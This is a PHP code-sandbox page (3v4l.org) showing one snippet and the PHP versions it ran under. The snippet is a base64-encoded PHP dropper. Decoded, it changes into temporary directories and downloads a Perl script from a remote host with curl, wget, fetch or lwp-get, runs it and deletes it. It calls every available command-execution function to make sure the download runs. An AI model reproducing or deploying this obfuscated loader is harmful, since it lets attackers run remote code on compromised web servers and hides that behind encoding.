3v4l.org

run code in 300+ PHP versions simultaneously
<?php base64_decode("JHVybD0iaHR0cDovL20xLnBleGl0LmN1LmNjOjM1NDg5LyI7DQokZmlsZT0ibi5wbCI7DQokcGF0aHMgPSBhcnJheSgiL3RtcCIsICIvdmFyL3RtcCIsIi9kZXYvc2htIik7DQoNCiRjbWRzID0gYXJyYXkoDQoiY3VybCAtTyB7JHVybH17JGZpbGV9O3BlcmwgeyRmaWxlfTtybSAtcmYgeyRmaWxlfSIsDQoiZmV0Y2ggeyR1cmx9eyRmaWxlfTtwZXJsIHskZmlsZX07cm0gLXJmIHskZmlsZX0iLA0KImx3cC1nZXQgeyR1cmx9eyRmaWxlfTtwZXJsIHskZmlsZX07cm0gLXJmIHskZmlsZX0iLA0KIndnZXQgeyR1cmx9eyRmaWxlfTtwZXJsIHskZmlsZX07cm0gLXJmIHskZmlsZX0iDQopOw0KJGZjbWRzPWFycmF5KCk7DQpmb3JlYWNoKCRwYXRocyBhcyAkcGF0aCl7DQoJZm9yZWFjaCgkY21kcyBhcyAkY21kKXsNCgkJJGZjbWRzW109ICJjZCB7JHBhdGh9O3skY21kfSI7DQoJfQ0KfQ0KZm9yZWFjaCgkZmNtZHMgYXMgJGNtZCl7DQoJc3lzdGVtKCRjbWQpOw0KCXNoZWxsX2V4ZWMoJGNtZCk7DQoJZXhlYygkY21kKTsNCglwYXNzdGhydSgkY21kKTsNCglwb3BlbigkY21kLCJyIik7DQoJaWYoZXh0ZW5zaW9uX2xvYWRlZCgncGVybCcpKXsNCgkJJHBlcmw9bmV3IHBlcmwoKTsgDQoJCSRwZXJsLT5ldmFsKCJzeXN0ZW0oJ3skY21kfScpIik7IAkNCgl9DQp9"); ?>
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.17 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
preferences:
230.24 ms | 406 KiB | 384 Q